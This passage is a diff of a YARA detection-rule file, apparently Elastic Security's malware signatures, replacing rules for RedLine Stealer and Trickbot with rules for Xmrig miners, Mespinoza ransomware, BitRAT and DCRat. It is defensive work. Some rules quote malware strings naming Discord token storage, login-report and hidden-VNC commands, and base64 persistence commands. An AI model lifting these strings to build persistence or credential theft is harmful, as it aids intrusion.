-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "e062c99dc9f3fa780ea9c6249fa4ef96bbe17fd1df38dbe11c664a10a92deece"
-		logic_hash = "2085eaf622b52372124e9b23d19e3e4a7fdb7a4559ad9a09216c1cbae96ca5b6"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Cryptominer_Xmrig.yar#L139-L156"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		logic_hash = "d7214ad9c4291205b50567d142d99b8a19a9cfa69d3cd0a644774c3a1adb6b49"
 		score = 75
-		quality = 71
+		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "47c7b9a39a5e0a41f26fdf328231eb173a51adfc00948c68332ce72bc442e19e"
+		fingerprint = "665b5684c55c88e55bcdb8761305d6428c6a8e810043bf9df0ba567faea4c435"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "linux"
 
 	strings:
-		$a1 = { 30 68 44 27 25 5B 3D 79 21 54 3A }
-		$a2 = { 40 5E 30 33 5D 44 34 4A 5D 48 33 }
-		$a3 = { 4B EF 4D FF 44 DD 41 70 44 DC 41 00 44 DC 41 03 43 D9 3E 00 44 }
+		$a = { 54 24 9C 44 0F B6 94 24 BC 00 00 00 89 5C 24 A0 46 8B 0C 8A 66 0F 6E 5C }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Windows_Trojan_Redlinestealer_F07B3Cb4 : FILE MEMORY
+rule ELASTIC_Linux_Cryptominer_Xmrig_73Faf972 : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Trojan Redlinestealer (Windows.Trojan.RedLineStealer)"
+		description = "Detects Linux Cryptominer Xmrig (Linux.Cryptominer.Xmrig)"
 		author = "Elastic Security"
-		id = "f07b3cb4-a1c5-42c3-a992-d6d9a48bc7a0"
-		date = "2023-05-03"
-		modified = "2023-06-13"
+		id = "73faf972-43e4-448d-bdfd-cda9be15fce6"
+		date = "2021-04-06"
+		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_RedLineStealer.yar#L106-L125"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "5e491625475fc25c465fc7f6db98def189c15a133af7d0ac1ecbc8d887c4feb6"
-		logic_hash = "64536e3b340254554154ac1b33adfb4f3c72a2c6c0d1ef27827621b905d431c5"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Cryptominer_Xmrig.yar#L158-L176"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "00e29303b66cb39a8bc23fe91379c087376ea26baa21f6b7f7817289ba89f655"
+		logic_hash = "a6a9d304d215302bf399c90ed0dd77a681796254c51a2a20e4a316dba43b387f"
 		score = 75
-		quality = 71
+		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "8687fa6f540ccebab6000c0c93be4931d874cd04b0692c6934148938bac0026e"
+		fingerprint = "f31c2658acd6d13ae000426d3845bcec7a8a587bbaed75173baa84b2871b0b42"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "linux"
 
 	strings:
-		$a1 = { 3C 65 6E 63 72 79 70 74 65 64 5F 6B 65 79 3E 6B 5F 5F 42 61 63 6B 69 6E 67 46 69 65 6C 64 }
-		$a2 = { 45 42 37 45 46 31 39 37 33 43 44 43 32 39 35 42 37 42 30 38 46 45 36 44 38 32 42 39 45 43 44 41 44 31 31 30 36 41 46 32 }
+		$a = { 6F C4 83 E0 01 83 E1 06 09 C1 44 89 E8 01 C9 D3 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Windows_Trojan_Redlinestealer_4Df4Bcb6 : FILE MEMORY
+rule ELASTIC_Linux_Cryptominer_Xmrig_Af809Eea : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Trojan Redlinestealer (Windows.Trojan.RedLineStealer)"
+		description = "Detects Linux Cryptominer Xmrig (Linux.Cryptominer.Xmrig)"
 		author = "Elastic Security"
-		id = "4df4bcb6-a492-4407-8d8f-bbb835322c98"
-		date = "2023-05-04"
-		modified = "2023-06-13"
+		id = "af809eea-fe42-4495-b7e5-c22b39102fcd"
+		date = "2021-04-06"
+		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_RedLineStealer.yar#L127-L145"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "9389475bd26c1d3fd04a083557f2797d0ee89dfdd1f7de67775fcd19e61dfbb3"
-		logic_hash = "d9027fa9c8d9c938159a734431bb2be67fd7cca1f898c2208f7b909157524da4"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Cryptominer_Xmrig.yar#L178-L196"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "00e29303b66cb39a8bc23fe91379c087376ea26baa21f6b7f7817289ba89f655"
+		logic_hash = "4ae4b119a3eecfdb47a88fe5a89a4f79ae96eecf5d08eef08997357de7e6538a"
 		score = 75
-		quality = 73
+		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "a9e08bf28e8915615f9b39ab814a46c092b5714ef9133f740a1f1f876bfda2d9"
+		fingerprint = "373d2f57aede0b41296011d12b59ac006f6cf0e2bd95163f518e6e252459411b"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "linux"
 
 	strings:
-		$a1 = { 34 42 30 35 43 45 42 44 37 44 37 30 46 31 36 30 37 44 34 37 34 43 41 45 31 37 36 46 45 41 45 42 37 34 33 39 37 39 35 46 }
+		$a = { 83 E0 01 83 E1 06 09 C1 44 89 ?? 01 C9 D3 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Windows_Trojan_Redlinestealer_15Ee6903 : FILE MEMORY
+rule ELASTIC_Linux_Cryptominer_Xmrig_9F6Ac00F : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Trojan Redlinestealer (Windows.Trojan.RedLineStealer)"
+		description = "Detects Linux Cryptominer Xmrig (Linux.Cryptominer.Xmrig)"
 		author = "Elastic Security"
-		id = "15ee6903-757f-462b-8e1c-1ed8ca667910"
-		date = "2023-05-04"
-		modified = "2023-06-13"
+		id = "9f6ac00f-1562-4be1-8b54-bf9a89672b0e"
+		date = "2021-04-06"
+		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_RedLineStealer.yar#L147-L166"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "46b506cafb2460ca2969f69bcb0ee0af63b6d65e6b2a6249ef7faa21bde1a6bd"
-		logic_hash = "22c8a1f4b5b94261cfabdbcc00e45b9437a0132d4e9d4543b734d4f303336696"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Cryptominer_Xmrig.yar#L198-L216"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "9cd58c1759056c0c5bbd78248b9192c4f8c568ed89894aff3724fdb2be44ca43"
+		logic_hash = "9fa8e7be5c35c9a649c42613d0d5d5cecff3d9c3e9a572e4be1ca661876748a5"
 		score = 75
-		quality = 71
+		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "d3a380f68477b98b3f5adc11cc597042aa95636cfec0b0a5f2e51c201aa61227"
+		fingerprint = "77b171a3099327a5edb59b8f1b17fb3f415ab7fd15beabcd3b53916cde206568"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "linux"
 
 	strings:
-		$a1 = { 53 65 65 6E 42 65 66 6F 72 65 33 }
-		$a2 = { 73 65 74 5F 53 63 61 6E 47 65 63 6B 6F 42 72 6F 77 73 65 72 73 50 61 74 68 73 }
+		$a = { B8 31 75 00 00 83 E3 06 09 D9 01 C9 D3 F8 89 C1 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Windows_Trojan_Redlinestealer_6Dfafd7B : FILE MEMORY
+rule ELASTIC_Linux_Cryptominer_Xmrig_Dbcc9D87 : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Trojan Redlinestealer (Windows.Trojan.RedLineStealer)"
+		description = "Detects Linux Cryptominer Xmrig (Linux.Cryptominer.Xmrig)"
 		author = "Elastic Security"
-		id = "6dfafd7b-5188-4ec7-9ba4-58b8f05458e5"
-		date = "2024-01-05"
-		modified = "2024-01-12"
+		id = "dbcc9d87-5064-446d-9581-b14cf183ec3f"
+		date = "2021-12-13"
+		modified = "2022-01-26"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_RedLineStealer.yar#L168-L186"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "809e303ba26b894f006b8f2d3983ff697aef13b67c36957d98c56aae9afd8852"
-		logic_hash = "888bc2fdfae8673cd6bce56fc9894b3cab6d7e3c384d854d6bc8aef47fdecf1c"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Cryptominer_Xmrig.yar#L218-L236"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "da9b8fb5c26e81fb3aed3b0bc95d855339fced303aae2af281daf0f1a873e585"
+		logic_hash = "b7fa60e32cb53484d8b76b13066eda1f2275ee2660ac2dc02b0078b921998e79"
 		score = 75
-		quality = 73
+		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "b7770492fc26ada1e5cb5581221f59b1426332e57eb5e04922f65c25b92ad860"
+		fingerprint = "ebb6d184d7470437aace81d55ada5083e55c0de67e566b052245665aeda96d69"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "linux"
 
 	strings:
-		$a = { 33 38 46 34 33 31 41 35 34 39 34 31 31 41 45 42 33 32 38 31 30 30 36 38 41 34 43 38 33 32 35 30 42 32 44 33 31 45 31 35 }
+		$a = { 78 72 47 47 58 34 53 58 5F 34 74 43 41 66 30 5A 57 73 00 64 48 8B 0C 25 F8 FF }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Windows_Trojan_Redlinestealer_983Cd7A7 : FILE MEMORY
+rule ELASTIC_Windows_Vulndriver_Windivert_25991186 : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Trojan Redlinestealer (Windows.Trojan.RedLineStealer)"
+		description = "Detects Windows Vulndriver Windivert (Windows.VulnDriver.WinDivert)"
 		author = "Elastic Security"
-		id = "983cd7a7-4e7b-413f-b859-b5cbfbf14ae6"
-		date = "2024-03-27"
-		modified = "2024-05-08"
+		id = "25991186-7a44-446c-9e97-e91bb9adfd77"
+		date = "2024-06-20"
+		modified = "2024-07-02"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_RedLineStealer.yar#L188-L208"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "7aa20c57b8815dd63c8ae951e1819c75b5d2deec5aae0597feec878272772f35"
-		logic_hash = "2104bad5ec42bc72ec611607a53086a85359bdb4bf084d7377e9a8e234b0e928"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_VulnDriver_WinDivert.yar#L1-L19"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "8da085332782708d8767bcace5327a6ec7283c17cfb85e40b03cd2323a90ddc2"
+		logic_hash = "a67679bb2f23d1f6691c9ad23da1fd4c2402701ba1929c7abf078d7d95011a08"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "6dd74c3b67501506ee43340c07b53ddb94e919d27ad96f55eb4eff3de1470699"
+		fingerprint = "43c7f0dfe43c64d644fcb0171433a8af0f7b4c38f7601d42923762c3d882ac31"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -72522,178 +76900,176 @@ rule ELASTIC_Windows_Trojan_Redlinestealer_983Cd7A7 : FILE MEMORY
 		os = "windows"
 
 	strings:
-		$decrypt_config_bytes = { 72 ?? ?? ?? 70 80 ?? ?? ?? 04 72 ?? ?? ?? 70 80 ?? ?? ?? 04 72 ?? ?? ?? 70 80 ?? ?? ?? 04 72 ?? ?? ?? 70 80 ?? ?? ?? 04 [0-6] 2A }
-		$str1 = "net.tcp://" wide
-		$str2 = "\\Discord\\Local Storage\\leveldb" wide
+		$original_file_name = { 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 57 00 69 00 6E 00 44 00 69 00 76 00 65 00 72 00 74 00 2E 00 73 00 79 00 73 00 00 00 }
 
 	condition:
-		all of them
+		int16 ( uint32(0x3C)+0x5c)==0x0001 and int16 ( uint32(0x3C)+0x18)==0x020b and $original_file_name
 }
-rule ELASTIC_Linux_Cryptominer_Ksmdbot_Ebeedb3C : FILE MEMORY
+rule ELASTIC_Windows_Ransomware_Mespinoza_3Adb59F5 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Cryptominer Ksmdbot (Linux.Cryptominer.Ksmdbot)"
+		description = "Detects Windows Ransomware Mespinoza (Windows.Ransomware.Mespinoza)"
 		author = "Elastic Security"
-		id = "ebeedb3c-adc3-4df8-a8bf-5120802fa3c2"
-		date = "2022-12-14"
-		modified = "2024-02-13"
+		id = "3adb59f5-a4af-48f2-8029-874a62b23651"
+		date = "2021-08-05"
+		modified = "2021-10-04"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Cryptominer_Ksmdbot.yar#L1-L23"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "b927e0fe58219305d86df8b3e44493a7c854a6ea4f76d1ebe531a7bfd4365b54"
-		logic_hash = "67f97cc4f2886ed296b5b3827dc1d1792136ba8d9d27c20b677c9467618c879d"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Ransomware_Mespinoza.yar#L1-L21"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "6f3cd5f05ab4f404c78bab92f705c91d967b31a9b06017d910af312fa87ae3d6"
+		logic_hash = "28c8ad42a3af70fed274edc9105dae5cef13749d71510561a50428c822464934"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "c6b678a94e45441ef960bc7119e2b9742ce8aab7e463897bf4a14aa0c57d507c"
-		severity = 100
+		fingerprint = "f44a79048427e79d339d3b0ccaeb85ba6731d5548256a2615f32970dcf67578f"
+		severity = 90
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a1 = { 48 BA 74 63 70 66 69 76 65 6D 4? 8B ?? 24 }
-		$a2 = { 48 B9 FF FF FF FF 67 65 74 73 48 89 08 48 B9 65 74 73 74 61 74 75 73 48 89 48 }
-		$a3 = { 48 B? 73 74 61 72 74 6D 69 6E 49 39 ?3 }
-		$a4 = { 48 BA 6C 6F 61 64 63 6C 69 65 48 8B B4 24 }
-		$a5 = { 48 BA 73 74 6? 7? 7? 6? 6? 6E 49 39 13 }
+		$a1 = "Don't try to use backups because it were encrypted too." ascii fullword
+		$a2 = "Every byte on any types of your devices was encrypted." ascii fullword
+		$a3 = "n.pysa" wide fullword
 
 	condition:
-		3 of them
+		all of them
 }
-rule ELASTIC_Linux_Exploit_Pulse_2Bea17E8 : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Bitrat_34Bd6C83 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Exploit Pulse (Linux.Exploit.Pulse)"
+		description = "Detects Windows Trojan Bitrat (Windows.Trojan.Bitrat)"
 		author = "Elastic Security"
-		id = "2bea17e8-2324-4502-9ced-7a45d94099ec"
-		date = "2021-01-12"
-		modified = "2021-09-16"
+		id = "34bd6c83-9a71-43d5-b0b1-1646a8fb66e8"
+		date = "2021-06-13"
+		modified = "2021-08-23"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Exploit_Pulse.yar#L1-L19"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "c29cb4c2d83127cf4731573a7fac531f90f27799857f5e250b9f71362108f559"
-		logic_hash = "bc71efa6cc79171666d89fe3e755411ee8032f56ae5bd73e0de440eee5b718ab"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_Bitrat.yar#L1-L23"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "37f70ae0e4e671c739d402c00f708761e98b155a1eefbedff1236637c4b7690a"
+		logic_hash = "d386fc2a4b6a98638328d1aa05a8d8dbb7a1bbcd72943457b1a5a27b056744ef"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "4d57fb355e7d68ad3da26ff3bade291ebbfa8df5f0727579787e33ebee888d41"
+		fingerprint = "bc4a5fad1810ad971277a455030eed3377901a33068bb994e235346cfe5a524f"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { 89 E5 48 8D 45 F8 48 89 45 F8 48 8B 45 F8 48 25 00 F0 FF FF 48 }
+		$a1 = "crd_logins_report" ascii fullword
+		$a2 = "drives_get" ascii fullword
+		$a3 = "files_get" ascii fullword
+		$a4 = "shell_stop" ascii fullword
+		$a5 = "hvnc_start_ie" ascii fullword
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Exploit_Pulse_246E6F31 : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Bitrat_54916275 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Exploit Pulse (Linux.Exploit.Pulse)"
+		description = "Detects Windows Trojan Bitrat (Windows.Trojan.Bitrat)"
 		author = "Elastic Security"
-		id = "246e6f31-fcfb-474e-9709-a5d7ea6586fd"
-		date = "2021-01-12"
-		modified = "2021-09-16"
+		id = "54916275-2a0f-4966-956d-7122a4aea9c8"
+		date = "2022-08-29"
+		modified = "2022-09-29"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Exploit_Pulse.yar#L21-L39"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "c29cb4c2d83127cf4731573a7fac531f90f27799857f5e250b9f71362108f559"
-		logic_hash = "f6755f10863b78303899cefcd81f609884fbbf2dffabd9219686ed869f2cc7e3"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_Bitrat.yar#L25-L43"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "d3b2c410b431c006c59f14b33e95c0e44e6221b1118340c745911712296f659f"
+		logic_hash = "4c66f79f4bf6bde49bfb9208e6dc1d3b5d041927565e7302381838b0f32da6f4"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "e98007a2fa62576e1847cf350283f60f1e4e49585574601ab44b304f391240db"
+		fingerprint = "8758b1a839ff801170f6d4ae9186a69af6370f8081defdd25b62e50a3ddcffef"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { 48 8D 45 F8 48 89 45 F8 48 8B 45 F8 48 25 00 E0 FF FF 48 8B 00 48 89 }
+		$a1 = { 6A 10 68 50 73 78 00 E8 5F 4D 02 00 8B 7D 08 85 FF 75 0D FF 15 1C 00 6E 00 50 FF 15 68 03 6E 00 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Windows_Trojan_Trickbot_01365E46 : FILE MEMORY
+rule ELASTIC_Linux_Cryptominer_Bulz_2Aa8Fbb5 : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Trojan Trickbot (Windows.Trojan.Trickbot)"
+		description = "Detects Linux Cryptominer Bulz (Linux.Cryptominer.Bulz)"
 		author = "Elastic Security"
-		id = "01365e46-c769-4c6e-913a-4d1e42948af2"
-		date = "2021-03-28"
-		modified = "2021-08-23"
+		id = "2aa8fbb5-b392-49fc-8f0f-12cd06d534e2"
+		date = "2021-01-12"
+		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_Trickbot.yar#L1-L19"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "5c450d4be39caef1d9ec943f5dfeb6517047175fec166a52970c08cd1558e172"
-		logic_hash = "4d61de2cb37e12f62326c1717f6ed44554f5d2aa7ede6033d0c988e5e64df54d"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Cryptominer_Bulz.yar#L1-L18"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		logic_hash = "21d8bec73476783e01d2a51a99233f186d7c72b49c9292c42e19e1aa6397d415"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "98505c3418945c10bf4f50a183aa49bdbc7c1c306e98132ae3d0fc36e216f191"
+		fingerprint = "c8fbeae6cf935fe629c37abc4fdcda2c80c1b19fc8b6185a58decead781e1321"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "linux"
 
 	strings:
-		$a = { 8B 43 28 4C 8B 53 18 4C 8B 5B 10 4C 8B 03 4C 8B 4B 08 89 44 24 38 48 89 4C 24 30 4C }
+		$a = { FE D7 C5 D9 72 F2 09 C5 E9 72 D2 17 C5 E9 EF D4 C5 E9 EF D6 C5 C1 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Windows_Trojan_Trickbot_06Fd4Ac4 : FILE MEMORY
+rule ELASTIC_Linux_Cryptominer_Bulz_0998F811 : FILE MEMORY
 {
 	meta:
-		description = "Identifies Trickbot unpacker"
+		description = "Detects Linux Cryptominer Bulz (Linux.Cryptominer.Bulz)"
 		author = "Elastic Security"
-		id = "06fd4ac4-1155-4068-ae63-4d83db2bd942"
-		date = "2021-03-28"
-		modified = "2021-08-23"
+		id = "0998f811-7be3-4d46-9dcb-1e8a0f19bab5"
+		date = "2021-01-12"
+		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_Trickbot.yar#L21-L39"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		logic_hash = "bde387f1e22d1399fb99f6d41732a37635d8e90f29626f2995914a073a7cac89"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Cryptominer_Bulz.yar#L20-L37"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		logic_hash = "178f6c42582dd99cc5418388d020d4d76f2a9204297a673359fe0a300121c35b"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "ece49004ed1d27ef92b3b1ec040d06e90687d4ac5a89451e2ae487d92cb24ddd"
-		threat_name = "Windows.Trojan.Trickbot"
+		fingerprint = "c8a83bc305998cb6256b004e9d8ce6d5d1618b107e42be139b73807462b53c31"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "linux"
 
 	strings:
-		$a = { 5F 33 C0 68 ?? ?? 00 00 59 50 E2 FD 8B C7 57 8B EC 05 ?? ?? ?? 00 89 45 04 }
+		$a = { 79 70 E4 39 C5 F9 70 C9 4E C5 91 72 F0 12 C5 F9 72 D0 0E C5 91 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Windows_Trojan_Trickbot_Ce4305D1 : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Dcrat_1Aeea1Ac : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Trojan Trickbot (Windows.Trojan.Trickbot)"
+		description = "Detects Windows Trojan Dcrat (Windows.Trojan.DCRat)"
 		author = "Elastic Security"
-		id = "ce4305d1-8a6f-4797-afaf-57e88f3d38e6"
-		date = "2021-03-28"
-		modified = "2021-08-23"
+		id = "1aeea1ac-69b9-4cc6-91af-18b7a79f35ce"
+		date = "2022-01-15"
+		modified = "2022-04-12"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_Trickbot.yar#L41-L58"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		logic_hash = "c547114475383e5d84f6b8cb72585ddd5778ae3afa491deddeef8a5ec56be1b5"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_DCRat.yar#L1-L24"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		logic_hash = "6163e04a40ed52d5e94662131511c3ae08d473719c364e0f7de60dff7fa92cf7"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "ae606e758b02ccf2a9a313aebb10773961121f79a94c447e745289ee045cf4ee"
+		fingerprint = "fc67d76dc916b7736de783aa245483381a8fe071c533f3761e550af80a873fe9"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -72701,3461 +77077,3176 @@ rule ELASTIC_Windows_Trojan_Trickbot_Ce4305D1 : FILE MEMORY
 		os = "windows"
 
 	strings:
-		$a = { F9 8B 45 F4 89 5D E4 85 D2 74 39 83 C0 02 03 C6 89 45 F4 8B }
+		$a1 = "havecamera" ascii fullword
+		$a2 = "timeout 3 > NUL" wide fullword
+		$a3 = "START \"\" \"" wide fullword
+		$a4 = "L2Mgc2NodGFza3MgL2NyZWF0ZSAvZiAvc2Mgb25sb2dvbiAvcmwgaGlnaGVzdCAvdG4g" wide fullword
+		$a5 = "U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVuXA==" wide fullword
+		$b1 = "DcRatByqwqdanchun" ascii fullword
+		$b2 = "DcRat By qwqdanchun1" ascii fullword
 
 	condition:
-		all of them
+		5 of ($a*) or 1 of ($b*)
 }
-rule ELASTIC_Windows_Trojan_Trickbot_1E56Fad7 : FILE MEMORY
+rule ELASTIC_Linux_Trojan_Tsunami_D9E6B88E : FILE MEMORY
 {
 	meta:
